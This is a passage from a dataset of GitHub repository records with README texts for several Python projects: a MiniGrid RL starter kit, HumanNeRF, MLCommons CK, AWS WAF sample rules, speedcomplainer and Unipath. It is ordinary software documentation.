--frames 80000\n```\n\n<p align=\"center\"><img src=\"README-rsrc/train-terminal-logs.png\"></p>\n\n2. Visualize agent's behavior:\n\n```\npython3 -m scripts.visualize --env MiniGrid-DoorKey-5x5-v0 --model DoorKey\n```\n\n<p align=\"center\"><img src=\"README-rsrc/visualize-doorkey.gif\"></p>\n\n3. Evaluate agent's performance:\n\n```\npython3 -m scripts.evaluate --env MiniGrid-DoorKey-5x5-v0 --model DoorKey\n```\n\n<p align=\"center\"><img src=\"README-rsrc/evaluate-terminal-logs.png\"></p>\n\n**Note:** More details on the commands are given below.\n\n## Other examples\n\n### Handle textual instructions\n\nIn the `GoToDoor` environment, the agent receives an image along with a textual instruction. To handle the latter, add `--text` to the command:\n\n```\npython3 -m scripts.train --algo ppo --env MiniGrid-GoToDoor-5x5-v0 --model GoToDoor --text --save-interval 10 --frames 1000000\n```\n\n<p align=\"center\"><img src=\"README-rsrc/visualize-gotodoor.gif\"></p>\n\n### Add memory\n\nIn the `RedBlueDoors` environment, the agent has to open the red door then the blue one. To solve it efficiently, when it opens the red door, it has to remember it. To add memory to the agent, add `--recurrence X` to the command:\n\n```\npython3 -m scripts.train --algo ppo --env MiniGrid-RedBlueDoors-6x6-v0 --model RedBlueDoors --recurrence 4 --save-interval 10 --frames 1000000\n```\n\n<p align=\"center\"><img src=\"README-rsrc/visualize-redbluedoors.gif\"></p>\n\n## Files\n\nThis package contains:\n- scripts to:\n  - train an agent \\\n  in `script/train.py` ([more details](#scripts-train))\n  - visualize agent's behavior \\\n  in `script/visualize.py` ([more details](#scripts-visualize))\n  - evaluate agent's performances \\\n  in `script/evaluate.py` ([more details](#scripts-evaluate))\n- a default agent's model \\\nin `model.py` ([more details](#model))\n- utilitarian classes and functions used by the scripts \\\nin `utils`\n\nThese files are suited for [`gym-minigrid`](https://github.com/maximecb/gym-minigrid) environments and [`torch-ac`](https://github.com/lcswillems/torch-ac) RL algorithms. They are easy to adapt to other environments and RL algorithms by modifying:\n- `model.py`\n- `utils/format.py`\n\n<h2 id=\"scripts-train\">scripts/train.py</h2>\n\nAn example of use:\n\n```bash\npython3 -m scripts.train --algo ppo --env MiniGrid-DoorKey-5x5-v0 --model DoorKey --save-interval 10 --frames 80000\n```\n\nThe script loads the model in `storage/DoorKey` or creates it if it doesn't exist, then trains it with the PPO algorithm on the MiniGrid DoorKey environment, and saves it every 10 updates in `storage/DoorKey`. It stops after 80 000 frames.\n\n**Note:** You can define a different storage location in the environment variable `PROJECT_STORAGE`.\n\nMore generally, the script has 2 required arguments:\n- `--algo ALGO`: name of the RL algorithm used to train\n- `--env ENV`: name of the environment to train on\n\nand a bunch of optional arguments among which:\n- `--recurrence N`: gradient will be backpropagated over N timesteps. By default, N = 1. If N > 1, a LSTM is added to the model to have memory.\n- `--text`: a GRU is added to the model to handle text input.\n- ... (see more using `--help`)\n\nDuring training, logs are printed in your terminal (and saved in text and CSV format):\n\n<p align=\"center\"><img src=\"README-rsrc/train-terminal-logs.png\"></p>\n\n**Note:** `U` gives the update number, `F` the total number of frames, `FPS` the number of frames per second, `D` the total duration, `rR:\u03bc\u03c3mM` the mean, std, min and max reshaped return per episode, `F:\u03bc\u03c3mM` the mean, std, min and max number of frames per episode, `H` the entropy, `V` the value, `pL` the policy loss, `vL` the value loss and `\u2207` the gradient norm.\n\nDuring training, logs are also plotted in Tensorboard:\n\n<p><img src=\"README-rsrc/train-tensorboard.png\"></p>\n\n<h2 id=\"scripts-visualize\">scripts/visualize.py</h2>\n\nAn example of use:\n\n```\npython3 -m scripts.visualize --env MiniGrid-DoorKey-5x5-v0 --model DoorKey\n```\n\n<p align=\"center\"><img src=\"README-rsrc/visualize-doorkey.gif\"></p>\n\nIn this use case, the script displays how the model in `storage/DoorKey` behaves on the MiniGrid DoorKey environment.\n\nMore generally, the script has 2 required arguments:\n- `--env ENV`: name of the environment to act on.\n- `--model MODEL`: name of the trained model.\n\nand a bunch of optional arguments among which:\n- `--argmax`: select the action with highest probability\n- ... (see more using `--help`)\n\n<h2 id=\"scripts-evaluate\">scripts/evaluate.py</h2>\n\nAn example of use:\n\n```\npython3 -m scripts.evaluate --env MiniGrid-DoorKey-5x5-v0 --model DoorKey\n```\n\n<p align=\"center\"><img src=\"README-rsrc/evaluate-terminal-logs.png\"></p>\n\nIn this use case, the script prints in the terminal the performance among 100 episodes of the model in `storage/DoorKey`.\n\nMore generally, the script has 2 required arguments:\n- `--env ENV`: name of the environment to act on.\n- `--model MODEL`: name of the trained model.\n\nand a bunch of optional arguments among which:\n- `--episodes N`: number of episodes of evaluation. By default, N = 100.\n- ... (see more using `--help`)\n\n<h2 id=\"model\">model.py</h2>\n\nThe default model is discribed by the following schema:\n\n<p align=\"center\"><img src=\"README-rsrc/model.png\"></p>\n\nBy default, the memory part (in red) and the langage part (in blue) are disabled. They can be enabled by setting to `True` the `use_memory` and `use_text` parameters of the model constructor.\n\nThis model can be easily adapted to your needs.\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "chungyiweng/humannerf", "link": "https://github.com/chungyiweng/humannerf", "tags": ["cvpr2022", "nerf", "pytorch", "humannerf"], "stars": 510, "description": "HumanNeRF turns a monocular video of moving people into a 360 free-viewpoint video.", "lang": "Python", "repo_lang": "", "readme": "# HumanNeRF: Free-viewpoint Rendering of Moving People from Monocular Video (CVPR 2022)\n\n[Project Page](https://grail.cs.washington.edu/projects/humannerf/) | [Paper](https://arxiv.org/abs/2201.04127) | [Video](https://youtu.be/GM-RoZEymmw)\n\nThis is an official implementation. The codebase is implemented using [PyTorch](https://pytorch.org/) and tested on [Ubuntu](https://ubuntu.com/) 20.04.4 LTS.\n\n## Prerequisite\n\n### `Configure environment`\n\nInstall [Miniconda](https://docs.conda.io/en/latest/miniconda.html) (recommended) or [Anaconda](https://www.anaconda.com/).\n\nCreate and activate a virtual environment.\n\n    conda create --name humannerf python=3.7\n    conda activate humannerf\n\nInstall the required packages.\n\n    pip install -r requirements.txt\n\n### `Download SMPL model`\n\nDownload the gender neutral SMPL model from [here](https://smplify.is.tue.mpg.de/), and unpack **mpips_smplify_public_v2.zip**.\n\nCopy the smpl model.\n\n    SMPL_DIR=/path/to/smpl\n    MODEL_DIR=$SMPL_DIR/smplify_public/code/models\n    cp $MODEL_DIR/basicModel_neutral_lbs_10_207_0_v1.0.0.pkl third_parties/smpl/models\n\nFollow [this page](https://github.com/vchoutas/smplx/tree/master/tools) to remove Chumpy objects from the SMPL model.\n\n\n## Run on ZJU-Mocap Dataset\n\nBelow we take the subject 387 as a running example.\n\n### `Prepare a dataset`\n\nFirst, download ZJU-Mocap dataset from [here](https://github.com/zju3dv/neuralbody/blob/master/INSTALL.md#zju-mocap-dataset). \n\nSecond, modify the yaml file of subject 387 at `tools/prepare_zju_mocap/387.yaml`. In particular,  `zju_mocap_path` should be the directory path of the ZJU-Mocap dataset.\n\n```\ndataset:\n    zju_mocap_path: /path/to/zju_mocap\n    subject: '387'\n    sex: 'neutral'\n\n...\n```\n    \nFinally, run the data preprocessing script.\n\n    cd tools/prepare_zju_mocap\n    python prepare_dataset.py --cfg 387.yaml\n    cd ../../\n\n### `Train/Download models`\n\nNow you can either download a pre-trained model by running the script.\n\n    ./scripts/download_model.sh 387\n\nor train a model by yourself. We used 4 GPUs (NVIDIA RTX 2080 Ti) to train a model. \n\n    python train.py --cfg configs/human_nerf/zju_mocap/387/adventure.yaml\n\nFor sanity check, we provide a configuration that supports training on a single GPU (NVIDIA RTX 2080 Ti). Notice the performance is not guranteed for this configuration.\n\n    python train.py --cfg configs/human_nerf/zju_mocap/387/single_gpu.yaml\n\n### `Render output`\n\nRender the frame input (i.e., observed motion sequence).\n\n    python run.py \\\n        --type movement \\\n        --cfg configs/human_nerf/zju_mocap/387/adventure.yaml \n\nRun free-viewpoint rendering on a particular frame (e.g., frame 128).\n\n    python run.py \\\n        --type freeview \\\n        --cfg configs/human_nerf/zju_mocap/387/adventure.yaml \\\n        freeview.frame_idx 128\n\n\nRender the learned canonical appearance (T-pose).\n\n    python run.py \\\n        --type tpose \\\n        --cfg configs/human_nerf/zju_mocap/387/adventure.yaml \n\nIn addition, you can find the rendering scripts in `scripts/zju_mocap`.\n\n\n## Run on a Custom Monocular Video\n\nTo get the best result, we recommend a video clip that meets these requirements:\n\n- The clip has less than 600 frames (~20 seconds).\n- The human subject shows most of body regions (e.g., front and back view of the body) in the clip.\n\n### `Prepare a dataset`\n\nTo train on a monocular video, prepare your video data in `dataset/wild/monocular` with the following structure:\n\n    monocular\n        \u251c\u2500\u2500 images\n        \u2502   \u2514\u2500\u2500 ${item_id}.png\n        \u251c\u2500\u2500 masks\n        \u2502   \u2514\u2500\u2500 ${item_id}.png\n        \u2514\u2500\u2500 metadata.json\n\nWe use `item_id` to match a video frame with its subject mask and metadata. An `item_id` is typically some alphanumeric string such as `000128`.\n\n#### **images**\n\nA collection of video frames, stored as PNG files.\n\n#### **masks**\n\nA collection of subject segmentation masks, stored as PNG files.\n\n#### **metadata.json**\n\nThis json file contains metadata for video frames, including:\n\n- human body pose (SMPL poses and betas coefficients)\n- camera pose (camera intrinsic and extrinsic matrices). We follow [OpenCV](https://learnopencv.com/geometry-of-image-formation/) camera coordinate system and use [pinhole camera model](https://staff.fnwi.uva.nl/r.vandenboomgaard/IPCV20162017/LectureNotes/CV/PinholeCamera/PinholeCamera.html).\n\nYou can run SMPL-based human pose detectors (e.g., [SPIN](https://github.com/nkolot/SPIN), [VIBE](https://github.com/mkocabas/VIBE), or [ROMP](https://github.com/Arthur151/ROMP)) on a monocular video to get body poses as well as camera poses. \n\n\n```javascript\n{\n  // Replace the string item_id with your file name of video frame.\n  \"item_id\": {\n        // A (72,) array: SMPL coefficients controlling body pose.\n        \"poses\": [\n            -3.1341, ..., 1.2532\n        ],\n        // A (10,) array: SMPL coefficients controlling body shape. \n        \"betas\": [\n            0.33019, ..., 1.0386\n        ],\n        // A 3x3 camera intrinsic matrix.\n        \"cam_intrinsics\": [\n            [23043.9, 0.0,940.19],\n            [0.0, 23043.9, 539.23],\n            [0.0, 0.0, 1.0]\n        ],\n        // A 4x4 camera extrinsic matrix.\n        \"cam_extrinsics\": [\n            [1.0, 0.0, 0.0, -0.005],\n            [0.0, 1.0, 0.0, 0.2218],\n            [0.0, 0.0, 1.0, 47.504],\n            [0.0, 0.0, 0.0, 1.0],\n        ],\n  }\n\n  ...\n\n  // Iterate every video frame.\n  \"item_id\": {\n      ...\n  }\n}\n```\n\nOnce the dataset is properly created, run the script to complete dataset preparation.\n\n    cd tools/prepare_wild\n    python prepare_dataset.py --cfg wild.yaml\n    cd ../../\n\n### `Train a model`\n\nNow we are ready to lanuch a training. By default, we used 4 GPUs (NVIDIA RTX 2080 Ti) to train a model. \n\n    python train.py --cfg configs/human_nerf/wild/monocular/adventure.yaml\n\nFor sanity check, we provide a single-GPU (NVIDIA RTX 2080 Ti) training config. Note the performance is not guaranteed for this configuration.\n\n    python train.py --cfg configs/human_nerf/wild/monocular/single_gpu.yaml\n\n### `Render output`\n\nRender the frame input (i.e., observed motion sequence).\n\n    python run.py \\\n        --type movement \\\n        --cfg configs/human_nerf/wild/monocular/adventure.yaml \n\nRun free-viewpoint rendering on a particular frame (e.g., frame 128).\n\n    python run.py \\\n        --type freeview \\\n        --cfg configs/human_nerf/wild/monocular/adventure.yaml \\\n        freeview.frame_idx 128\n\n\nRender the learned canonical appearance (T-pose).\n\n    python run.py \\\n        --type tpose \\\n        --cfg configs/human_nerf/wild/monocular/adventure.yaml \n\nIn addition, you can find the rendering scripts in `scripts/wild`.\n\n## Acknowledgement\n\nThe implementation took reference from [NeRF-PyTorch](https://github.com/yenchenlin/nerf-pytorch), [Neural Body](https://github.com/zju3dv/neuralbody), [Neural Volume](https://github.com/facebookresearch/neuralvolumes), [LPIPS](https://github.com/richzhang/PerceptualSimilarity), and [YACS](https://github.com/rbgirshick/yacs). We thank the authors for their generosity to release code.\n\n## Citation\n\nIf you find our work useful, please consider citing:\n\n```BibTeX\n@InProceedings{weng_humannerf_2022_cvpr,\n    title     = {Human{N}e{RF}: Free-Viewpoint Rendering of Moving People From Monocular Video},\n    author    = {Weng, Chung-Yi and \n                 Curless, Brian and \n                 Srinivasan, Pratul P. and \n                 Barron, Jonathan T. and \n                 Kemelmacher-Shlizerman, Ira},\n    booktitle = {Proceedings of the IEEE/CVF Conference on Computer Vision and Pattern Recognition (CVPR)},\n    month     = {June},\n    year      = {2022},\n    pages     = {16210-16220}\n}\n```", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "mlcommons/ck", "link": "https://github.com/mlcommons/ck", "tags": ["productivity", "automation", "reproducibility", "reuse", "devops", "mlops", "open-source", "machine-learning", "portability", "reusability", "collaboration", "modularity", "software-engineering", "mlperf"], "stars": 509, "description": "This cross-platform tool helps to make software projects more portable, modular, reusable and reproducible across continuously changing software, hardware and data.  It is being developed by the open MLCommons taskforce to reduce development, benchmarking, optimization and deployment time for ML and AI systems.", "lang": "Python", "repo_lang": "", "readme": "[![PyPI version](https://badge.fury.io/py/cmind.svg)](https://pepy.tech/project/cmind)\n[![Python Version](https://img.shields.io/badge/python-3+-blue.svg)](https://github.com/mlcommons/ck/tree/master/cm/cmind)\n[![License](https://img.shields.io/badge/License-Apache%202.0-green)](LICENSE.md)\n\n[![CM test](https://github.com/mlcommons/ck/actions/workflows/test-cm.yml/badge.svg)](https://github.com/mlcommons/ck/actions/workflows/test-cm.yml)\n[![CM script automation features test](https://github.com/mlcommons/ck/actions/workflows/test-cm-script-features.yml/badge.svg)](https://github.com/mlcommons/ck/actions/workflows/test-cm-script-features.yml)\n\n### About\n\nThe Collective Knowledge project (CK) is motivated by our tedious experience reproducing experiments \nfrom [150 research papers](https://learning.acm.org/techtalks/reproducibility)\nand validating them in the real world - we decided to develop a universal and human-readable \ninterface to access any software project and run it on any platform with any software, hardware and data.\n\nThe [Collective Mind tool (CM)](https://github.com/mlcommons/ck/tree/master/cm/cmind)\nhelps users to add this universal interface to their software projects and transform them into a \n[database of portable and reusable components](https://github.com/mlcommons/ck/blob/master/docs/list_of_scripts.md)\nin a transparent and non-intrusive way.\n\nCM is being developed by the [open MLCommons taskforce](https://github.com/mlcommons/ck/blob/master/docs/taskforce.md) \nto solve the \"dependency hell\" for ML and AI systems, reduce their development, benchmarking, optimization and deployment time and costs,\nand automate [reproducibility initiatives and artifact evaluation at conferences](https://github.com/mlcommons/ck/blob/master/docs/tutorials/sc22-scc-mlperf.md).\n\n\n### Documentation and the Getting Started Guide\n\n* [Table of contents](https://github.com/mlcommons/ck/tree/master/docs/README.md)\n\n### Copyright\n\n2021-2023 [MLCommons](https://mlcommons.org)\n\n### Maintainers\n\n* [Grigori Fursin](https://cKnowledge.io/@gfursin)\n* [Arjun Suresh](https://www.linkedin.com/in/arjunsuresh)\n\n\n### Acknowledgments\n\nThis project is supported by [MLCommons](https://mlcommons.org), [OctoML](https://octoml.ai) \nand [individual contributors](https://github.com/mlcommons/ck/blob/master/CONTRIBUTING.md).\n", "readme_type": "markdown", "hn_comments": "We would like to ask for a favor: we have prepared a tutorial to help students run the MLPerf inference benchmark across different platforms at the Student Cluster Competition at SuperComputing'22 in a few days: https://github.com/mlcommons/ck/blob/master/docs/tutorials/s... .We would like to test it across different machines before students run it ;) . If you have time, please help us go through this tutorial and run this benchmark on any available system - it should not take more than 20..30 minutes.If you encounter any issues, please report them at https://github.com/mlcommons/ck/issues so that we could fix them before the competition.Thank you for supporting this community project!<HN_SEP>MLCommons is creating a new public working group to learn how to modularize ML Systems and automate their benchmarking, optimization and deployment. It will be based on the MLPerf benchmarking methodology and MLCommons' automation meta-framework. This framework was recently used to automate MLPerf inference benchmark submissions from Qualcomm, HPE, Lenovo, Krai, DELL and OctoML.<HN_SEP>There is a Google form to join this group: https://forms.gle/i5gCDtBC8gMtcvRw6<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "amazon-archives/aws-waf-sample", "link": "https://github.com/amazon-archives/aws-waf-sample", "tags": [], "stars": 509, "description": "This repository contains example scripts and sets of rules for the AWS WAF service. Please be aware that the applicability of these examples to specific workloads may vary.", "lang": "Python", "repo_lang": "", "readme": "# aws-waf-sample\nExamples of sets of rules for the AWS WAF service and scripts to automate the management and configuration of AWS WAF rule sets. These examples include SDK usage, AWS CloudFormation templates and automations using AWS Lambda functions.\n\n## waf-owasp-top-10\nThis example AWS CloudFormation template contains an AWS WAF web access control list (ACL) and condition types and rules that illustrate various mitigations against application flaws described in the OWASP Top 10. However, note that this template is designed only as a starting point and may not provide sufficient protection to every workload. You should customize the template\u2019s rules for each workload. For more information, please review the [Use AWS WAF to Mitigate OWASP's Top 10 Web Application Vulnerabilities](https://d0.awsstatic.com/whitepapers/Security/aws-waf-owasp.pdf) whitepaper.\n\n## waf-example-rules\nThis examples AWS CloudFormation templates contains basic AWS WAF rule examples.\n\n## waf-reactive-blacklist\n> **NOTE**: This solution has been integrated into the [AWS WAF Security Automations](https://aws.amazon.com/answers/security/aws-waf-security-automations/), and is now maintained in that repository: [https://github.com/awslabs/aws-waf-security-automations](https://github.com/awslabs/aws-waf-security-automations).\n> Please refer suggestions for improvement to that repository.\n\nA solution that automatically detects unwanted requests based on request rate, and then updates configurations of AWS WAF (a web application firewall that protects any application deployed on Amazon CloudFront content delivery service) to block subsequent requests from those users. This process is executed by a lambda function that processes application\u2019s access log files in order to identify bad requesters. This function also exposes execution metrics in CloudWatch so you can monitor how many request entries were processed and the number of origins blocked. Finally, the solution also support that you manually add IP ranges that you want to block in advance like well know bot networks.\n\n## waf-bad-bot-blocking\n> **NOTE**: This solution has been integrated into the [AWS WAF Security Automations](https://aws.amazon.com/answers/security/aws-waf-security-automations/), and is now maintained in that repository: [https://github.com/awslabs/aws-waf-security-automations](https://github.com/awslabs/aws-waf-security-automations).\n> Please refer suggestions for improvement to that repository.\n\nA solution for detecting bad bots and content scrapers and blocking their access. The detector relies on a honeypot URL. This is usually a piece of content that good actors know their not supposed to access, either because it's disallowed by the robots.txt file, or the link to it is hidden from human viewers. An Amazon API Gateway endpoint maps to the honeypot URL and triggers a AWS Lambda function once a request is received. The Lambda function then adds the source IP address of the request to a blacklist implemented using AWS WAF (a web application firewall that protects any application deployed on Amazon CloudFront content delivery service). The AWS Lambda function also issues an Amazon SNS notification on a topic you can subscribe to, and receive notifications anytime IPs are added to the blacklist.\n\n## waf-block-bad-behaving\n> **NOTE**: This solution has been integrated into the [AWS WAF Security Automations](https://aws.amazon.com/answers/security/aws-waf-security-automations/), and is now maintained in that repository: [https://github.com/awslabs/aws-waf-security-automations](https://github.com/awslabs/aws-waf-security-automations).\n> Please refer suggestions for improvement to that repository.\n\nA solution that automatically parses CloudFront access logs as they are delivered to Amazon S3 by using Lambda, counts the number of bad requests from unique sources (IP addresses), and updates AWS WAF to block further requests from those IP addresses. A CloudFormation template is included that creates the web access control list (ACL), rule sets, Lambda function, and logging S3 bucket.\nFull blog post: http://blogs.aws.amazon.com/security/post/Tx223ZW25YRPRKV/How-to-Use-AWS-WAF-to-Block-IP-Addresses-That-Generate-Bad-Requests\n\n## waf-reputation-lists\n> **NOTE**: This solution has been integrated into the [AWS WAF Security Automations](https://aws.amazon.com/answers/security/aws-waf-security-automations/), and is now maintained in that repository: [https://github.com/awslabs/aws-waf-security-automations](https://github.com/awslabs/aws-waf-security-automations).\n> Please refer suggestions for improvement to that repository.\n\nAn AWS CloudFormation template that creates an AWS WAF Web ACL, Rules, and IP Sets, an AWS Lambda function and CloudWatch Scheduled Event. The Lambda function imports multiple IP reputation lists and updates AWS WAF IP Sets in order to deny access from the IP ranges defined in those lists.\nAmazon CloudWatch Scheduled Events is utilised to execute the function regularly in order to automate the update of the IP Sets as the lists are updated. Full blog post: https://aws.amazon.com/blogs/security/how-to-import-ip-address-reputation-lists-to-automatically-update-aws-waf-ip-blacklists/\n\n\n***\n\nCopyright 2016 Amazon.com, Inc. or its affiliates. All Rights Reserved.\nSPDX-License-Identifier: MIT-0\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "james-atkinson/speedcomplainer", "link": "https://github.com/james-atkinson/speedcomplainer", "tags": [], "stars": 509, "description": "A python app that will test your internet connection and then complain to your service provider (and log to a data store if you'd like)", "lang": "Python", "repo_lang": "", "readme": "# speedcomplainer\nA python app that will test your internet connection and then complain to your service provider (and log to a data store if you'd like)\n\n## Configuration\nConfiguration is handled by a basic JSON file. Things that can be configured are:\n* twitter\n * twitterToken: This is your app access token\n * twitterConsumerKey: This is your Consumer Key (API Key)\n * twitterTokenSecret: This is your Access Token Secret\n * TwitterConsumerSecret: This is your Consumer Secret (API Secret)\n* tweetTo: This is a account (or list of accounts) that will be @ mentioned (include the @!)\n* internetSpeed: This is the speed (in MB/sec) you're paying for (and presumably not getting).\n* tweetThresholds: This is a list of messages that will be tweeted when you hit a threshold of crappiness. Placeholders are:\n * {tweetTo} - The above tweetTo configuration.\n * {internetSpeed} - The above internetSpeed configuration.\n * {downloadResult} - The poor download speed you're getting\n\nThreshold Example (remember to limit your messages to 140 characters or less!):\n```\n    \"tweetThresholds\": {\n        \"5\": [\n            \"Hey {tweetTo} I'm paying for {internetSpeed}Mb/s but getting only {downloadResult} Mb/s?!? Shame.\",\n            \"Oi! {tweetTo} $100+/month for {internetSpeed}Mbit/s and I only get {downloadResult} Mbit/s? How does that seem fair?\"\n        ],\n        \"12.5\": [\n            \"Uhh {tweetTo} for $100+/month I expect better than {downloadResult}Mbit/s when I'm paying for {internetSpeed}Mbit/s. Fix your network!\",\n            \"Hey {tweetTo} why am I only getting {downloadResult}Mb/s when I pay for {internetSpeed}Mb/s? $100+/month for this??\"\n        ],\n        \"25\": [\n            \"Well {tweetTo} I guess {downloadResult}Mb/s is better than nothing, still not worth $100/mnth when I expect {internetSpeed}Mb/s\"\n        ]\n    }\n```\n\nLogging can be done to CSV files, with a log file for ping results and speed test results. \n\nCSV Logging config example:\n```\n\"log\": {\n    \"type\": \"csv\",\n    \"files\": {\n        \"ping\": \"pingresults.csv\",\n        \"speed\": \"speedrestuls.csv\"\n    }\n}\n```\n\n## Usage\n> python speedcomplainer.py\n\nOr to run in the background:\n\n> python speedcomplainer.py > /dev/null &\n\n\n", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "mikeorr/Unipath", "link": "https://github.com/mikeorr/Unipath", "tags": [], "stars": 509, "description": "An object-oriented approach to Python file/directory operations.", "lang": "Python", "repo_lang": "", "readme": "Unipath\n%%%%%%%\n\nAn object-oriented approach to file/directory operations\n^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^\n\n:Version:           1.1\n:Home page:         https://github.com/mikeorr/Unipath\n:Docs:              https://github.com/mikeorr/Unipath#readme\n:Author:            Mike Orr <sluggoster@gmail.com>\n:License:           MIT (http://opensource.org/licenses/MIT)\n\n..\n    To format this document as HTML:\n    rst2html.py README.txt README.html\n\n**Unipath** is an object-oriented front end to the file/directory functions\nscattered throughout several Python library modules.  It's based on Jason\nOrendorff's *path.py* but focuses more on user convenience rather than on strict\nadherence to the underlying functions' syntax. Unipath is stable, well-tested, \nand has been used in production since 2008. It runs on Python 2.6+ and 3.2+.\n\n**Version 1.1** is a bugfix release. It fixes a Unicode incompatibility on\nPython 3 under Windows (or operating systems with native unicode filenames). The\nlicense is changed to MIT. It's as permissive as the former Python license but\nis smaller and simpler to read.\n\nPython 3.4 introduced another object-oriented path library, ``pathlib``. It's\navailable on PyPI as ``pathlib2`` for older versions of Python. (``pathlib`` on\nPyPI is a frozen earlier version.) Unipath is now in maintenance mode.  The\nauthor is exploring a subclass of pathlib(2) adding some of Unipath's features.\n\n.. contents::\n\nIntroduction\n============\n\nThe ``Path`` class encapsulates the file/directory operations in Python's\n``os``, ``os.path``, and ``shutil`` modules. (Non-filesystem operations are in\nthe ``AbstractPath`` superclass, but users can ignore this.)\n\nThe API has been streamlined to focus on what the application developer wants\nto do rather than on the lowest-level operations; e.g., ``.mkdir()`` succeeds\nsilently if the directory already exists, and ``.rmtree()`` doesn't barf if the\ntarget is a file or doesn't exist.  This allows the developer to write simple\ncalls that \"just work\" rather than entire if-stanzas to handle low-level\ndetails s/he doesn't care about.  This makes applications more self-documenting\nand less cluttered.\n\nConvenience methods: \n\n  * ``.read_file`` and ``.write_file`` encapsulate the open/read/close pattern.\n  * ``.needs_update(others)`` tells whether the path needs updating; i.e., \n    if it doesn't exist or is older than any of the other paths.\n  * ``.ancestor(N)`` returns the Nth parent directory, useful for joining paths.\n  * ``.child(\\*components)`` is a \"safe\" version of join.\n  * ``.split_root()`` handles slash/drive/UNC absolute paths in a uniform way.\n\nSample usage for pathname manipulation::\n\n    >>> from unipath import Path\n    >>> p = Path(\"/usr/lib/python2.5/gopherlib.py\")\n    >>> p.parent\n    Path(\"/usr/lib/python2.5\")\n    >>> p.name\n    Path(\"gopherlib.py\")\n    >>> p.ext\n    '.py'\n    >>> p.stem\n    Path('gopherlib')\n    >>> q = Path(p.parent, p.stem + p.ext)\n    >>> q\n    Path('/usr/lib/python2.5/gopherlib.py')\n    >>> q == p\n    True\n\nSample usage for filesystem access::\n\n    >>> import tempfile\n    >>> from unipath import Path\n    >>> d = Path(tempfile.mkdtemp())\n    >>> d.isdir()\n    True\n    >>> p = Path(d, \"sample.txt\")\n    >>> p.exists()\n    False\n    >>> p.write_file(\"The king is a fink!\")\n    >>> p.exists()\n    True\n    >>> print(p.read_file())\n    The king is a fink!\n    >>> d.rmtree()\n    >>> p.exists()\n    False\n\nPath objects subclass ``str`` (Python 2 ``unicode``), so they can be passed\ndirectly to fuctions expecting a string path. They are also immutable and can\nbe used as dictionary keys.\n\nThe name \"Unipath\" is short for \"universal path\". It was originally intended to\nunify the competing path APIs as of PEP 334. When the PEP was rejected, Unipath\nadded some convenience APIs.  The code is implemented in layers, with\nfilesystem-dependent code in the ``Path`` class and filesystem-independent code\nin its ``AbstractPath`` superclass.\n\n\nInstallation and testing\n========================\n\nRun \"pip install Unipath\".  Or to install the development version, check out\nthe source from the Git repository above and run \"python setup.py develop\".\n\nTo test the library, install 'pytest' and run \"pytest test.py\".  It also comes\nwith a Tox INI file.\n\n\nPath and AbstractPath objects\n=============================\n\nConstructor\n-----------\n``Path`` (and ``AbstractPath``) objects can be created from a string path, or\nfrom several string arguments which are joined together a la ``os.path.join``.\nEach argument can be a string, an ``(Abstract)Path`` instance, an int or long,\nor a list/tuple of strings to be joined::\n\n    p = Path(\"foo/bar.py\")       # A relative path\n    p = Path(\"foo\", \"bar.py\")    # Same as previous\n    p = Path([\"foo\", \"bar.py\"])  # Same as previous\n    p = Path(\"/foo\", \"bar\", \"baz.py\")       # An absolute path: /foo/bar/baz.py\n    p = Path(\"/foo\", Path(\"bar/baz.py\"))    # Same as previous\n    p = Path(\"/foo\", [\"\", \"bar\", \"baz.py\"]) # Embedded Path.components() result\n    p = Path(\"record\", 123)      # Same as Path(\"record/123\")\n\n    p = Path(\"\")     # An empty path\n    p = Path()       # Same as Path(os.curdir)\n\nTo get the actual current directory, use ``Path.cwd()``.  (This doesn't work\nwith ``AbstractPath``, of course.\n\nAdding two paths results in a concatenated path.  The other string methods\nreturn strings, so you'll have to wrap them in ``Path`` to make them paths\nagain. A future version will probably override these methods to return paths.\nMultiplying a path returns a string, as if you'd ever want to do that.\n\nNormalization\n-------------\nThe new path is normalized to clean up redundant \"..\" and \".\" in the\nmiddle, double slashes, wrong-direction slashes, etc.  On\ncase-insensitive filesystems it also converts uppercase to lowercase.\nThis is all done via ``os.path.normpath()``.  Here are some examples\nof normalizations::\n\n    a//b  => a/b\n    a/../b => b\n    a/./b => a/b\n    \n    a/b => a\\\\b            # On NT.\n    a\\\\b.JPG => a\\\\b.jpg   # On NT.\n\nIf the actual filesystem path contains symbolic links, normalizing \"..\" goes to\nthe parent of the symbolic link rather than to the parent of the linked-to\nfile.  For this reason, and because there may be other cases where normalizing\nproduces the wrong path, you can disable automatic normalization by setting the\n``.auto_norm`` class attribute to false.  I'm not sure whether Unipath should\nnormalize by default, so if you care one way or the other you should explicitly\nset it at the beginning of your application.  You can override the auto_norm\nsetting by passing \"norm=True\" or \"norm=False\" as a keyword argument to the\nconstructor.  You can also call ``.norm()`` anytime to manually normalize the\npath.\n\n\nProperties\n----------\nPath objects have the following properties:\n\n.parent\n    The path without the final component.\n.name\n    The final component only.\n.ext\n    The last part of the final component beginning with a dot (e.g., \".gz\"), or\n    \"\" if there is no dot.  This is also known as the extension.\n.stem\n    The final component without the extension.\n\nExamples are given in the first sample usage above.\n\n\nMethods\n-------\nPath objects have the following methods:\n\n.ancestor(N)\n    Same as specifying ``.parent`` N times.\n\n.child(\\*components)\n    Join paths in a safe manner.  The child components may not contain a path\n    separator or be curdir or pardir (\".\" or \"..\" on Posix).  This is to\n    prevent untrusted arguments from creating a path above the original path's\n    directory.  \n\n.components()\n    Return a list of directory components as strings.  The first component will\n    be the root (\"/\" on Posix, a Windows drive root, or a UNC share) if the\n    path is absolute, or \"\" if it's relative.  Calling ``Path(components)``,\n    ``Path(*components)``, or ``os.path.join(*components)`` will recreate the\n    original path.\n\n.expand()\n    Same as ``p.expand_user().expand_vars().norm()``.  Usually this is all\n    you need to fix up a path read from a config file.\n\n.expand_user()\n    Interpolate \"~\" and \"~user\" if the platform allows, and return a new path.\n\n.expand_vars()\n    Interpolate environment variables like \"$BACKUPS\" if the platform allows,\n    and return a new 